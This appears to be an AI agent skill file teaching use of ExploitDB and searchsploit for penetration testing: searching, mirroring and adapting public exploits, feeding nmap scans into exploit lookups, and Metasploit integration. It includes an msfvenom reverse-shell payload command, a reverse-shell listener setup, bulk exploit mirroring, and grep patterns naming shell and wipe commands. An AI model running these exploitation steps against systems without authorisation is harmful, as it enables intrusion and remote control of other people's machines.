| name | exploitdb |
| description | Search and use ExploitDB and searchsploit — the largest public archive of exploits, shellcode, and papers maintained by Offensive Security. Use when working with offensive-security/exploitdb, when the user needs to find public exploits for a CVE or software version, use searchsploit CLI on Kali, examine or mirror exploit code, parse nmap XML for matching exploits, query the Google Hacking Database (GHDB), update the local database, or integrate findings into Metasploit. Covers searchsploit flags, reading exploits safely, modification for targets, and GHDB usage.
|
| metadata | {"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/offensive-security/exploitdb","language":"Shell/Python"} |
exploitdb Agent Skill
When to Use This Skill
Use this skill when:
- Searching for public exploits against a specific product, version, or CVE
- Using
searchsploit on Kali Linux to query the local ExploitDB offline copy
- Mirroring exploit code to the current working directory for modification
- Parsing nmap XML output to automatically search exploits for discovered services
- Browsing the Google Hacking Database (GHDB) for OSINT/recon dorks
- Integrating ExploitDB findings with Metasploit
- Updating the local exploit database copy
What ExploitDB Does
ExploitDB is a curated public archive of exploit code, shellcode, and security papers covering
vulnerabilities in thousands of software products since the 1990s. The primary access method
during engagements is searchsploit, a CLI tool bundled with Kali Linux that queries a local
offline copy of the database — no internet required. The web interface at exploit-db.com provides
the same data with web search, filters, and direct download. ExploitDB is a first stop for
identifying known public exploits during CVE research and post-recon vulnerability triage.
Installation
Kali Linux (pre-installed)
which searchsploit
searchsploit --version
sudo searchsploit -u
sudo apt update && sudo apt upgrade exploitdb
Other Debian/Ubuntu
sudo apt install exploitdb
sudo git clone https://github.com/offensive-security/exploitdb /opt/exploitdb
sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit
Manual (any Linux/macOS)
git clone https://github.com/offensive-security/exploitdb /opt/exploitdb
echo "export PATH=/opt/exploitdb:\$PATH" >> ~/.bashrc
source ~/.bashrc
echo "GitLoc=/opt/exploitdb" > ~/.searchsploit_rc
Docker (no local install needed)
docker run --rm -it kalilinux/kali-rolling bash -c "apt update && apt install -y exploitdb && searchsploit apache"
searchsploit CLI Reference
Basic search
searchsploit apache
searchsploit wordpress
searchsploit "openssh 7.2"
searchsploit apache struts 2.5
searchsploit nginx 1.14 overflow
searchsploit CVE-2021-44228
searchsploit CVE-2017-0144
searchsploit "apache 2.4.49"
Output control
searchsploit -w apache
searchsploit --json apache > results.json
searchsploit --json "openssh" | jq '.[] | {id: .EDB_ID, title: .Title, path: .Path}'
searchsploit --colour apache | grep -i "remote"
Filtering by platform and type
searchsploit --type remote apache
searchsploit --type local windows 10
searchsploit --type webapps wordpress
searchsploit --type dos apache
searchsploit --platform linux apache
searchsploit --platform windows smb
searchsploit --platform php wordpress
searchsploit --type remote --platform linux apache 2.4
Examining exploit code
searchsploit -x 47887
searchsploit --examine 47887
searchsploit -x exploits/linux/remote/47887.py
searchsploit -e 47887
searchsploit -x 47887 | bat -l python
Mirroring exploits (copy to CWD)
searchsploit -m 47887
searchsploit --mirror 47887
searchsploit -m 47887 50417 42315
searchsploit --json "wordpress 5.8" | \
jq -r '.[].EDB_ID' | \
while read id; do searchsploit -m $id 2>/dev/null; done
Path lookup
searchsploit -p 47887
cat $(searchsploit -p 47887 | awk '/Path:/{print $2}')
nmap XML integration
nmap -sV -p- --open 10.10.10.100 -oX scan.xml
searchsploit --nmap scan.xml
searchsploit -x --nmap scan.xml
Author and date search
searchsploit --author "Metasploit"
searchsploit --author "EDB-VERIFY"
searchsploit --date-from 2023-01-01 --date-to 2023-12-31 "apache"
Database Location and Structure
ls /usr/share/exploitdb/
ls /usr/share/exploitdb/exploits/linux/remote/
ls /usr/share/exploitdb/exploits/windows/local/
ls /usr/share/exploitdb/exploits/multiple/webapps/
Reading Exploits Safely
Before running ANY public exploit code, read and understand it:
mkdir /tmp/exploit-work && cd /tmp/exploit-work
searchsploit -m 47887
head -50 47887.py
grep -iE "(rm -rf|format|wipe|dd if)" 47887.py
grep -iE "(curl|wget|nc |bash -i|/dev/tcp)" 47887.py
grep -iE "^import|^require|^use " 47887.py | head -20
docker run --rm -it python:3 bash
Modifying Exploits for Your Target
Public exploits often require adaptation:
sed -i 's/192.168.0.1/10.10.10.100/' exploit.py
sed -i 's/8080/443/' exploit.py
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f py -v shellcode
2to3 -w exploit.py
Google Hacking Database (GHDB)
The GHDB is a searchable collection of Google dorks — search operator strings that uncover
sensitive data exposed via web search engines.
pip install googler
googler -n 10 'site:target.com filetype:sql'
Integration with Metasploit
searchsploit -m 42315
head -20 42315.rb
msfconsole -q -x "search CVE-2021-44228; exit"
msfconsole -q
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 10.10.14.1
set LPORT 4444
run -j
Web Interface (exploit-db.com)
curl "https://www.exploit-db.com/search?cve=2021-44228"
curl "https://www.exploit-db.com/exploits/50592"
curl -sSL "https://www.exploit-db.com/raw/50592" -o 50592.py
Keeping the Database Updated
sudo searchsploit -u
cd /usr/share/exploitdb && sudo git pull
head -1 /usr/share/exploitdb/files_exploits.csv
git -C /usr/share/exploitdb log --oneline -5
sudo apt reinstall exploitdb
Common Workflows
Workflow 1: Post-nmap triage
nmap -sV -p 21,22,80,443,445,3389 --open 10.10.10.0/24 -oX sweep.xml
searchsploit --nmap sweep.xml | tee sploit-findings.txt
grep "EDB-ID" sploit-findings.txt | awk '{print $NF}' | \
while read id; do searchsploit -m $id; done
Workflow 2: Version-specific exploit search (HTB/CTF style)
searchsploit --type remote apache 2.4.49
searchsploit -m 50383
cat 50383.py | head -30
python3 50383.py -t http://10.10.10.100
Workflow 3: Windows priv-esc after foothold
searchsploit --type local --platform windows "2008"
searchsploit -m 39719
Troubleshooting
| Problem | Cause | Fix |
|---|
searchsploit: command not found | Not installed or not in PATH | sudo apt install exploitdb or fix PATH |
| Empty search results | Too specific / wrong version format | Broaden search, try product name only |
.searchsploit_rc error | Wrong GitLoc path | Set GitLoc=/usr/share/exploitdb |
| Database outdated (missing CVEs) | Not updated | sudo searchsploit -u |
| Exploit requires Python 2 | Old exploit | Use python2 exploit.py or 2to3 -w exploit.py |
| Exploit errors on run | Target version mismatch | Read exploit header, verify affected versions |
--nmap finds nothing | Service detection insufficient | Re-run nmap with -sV --version-intensity 9 |
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
redhound.us | GitHub | Book a consultation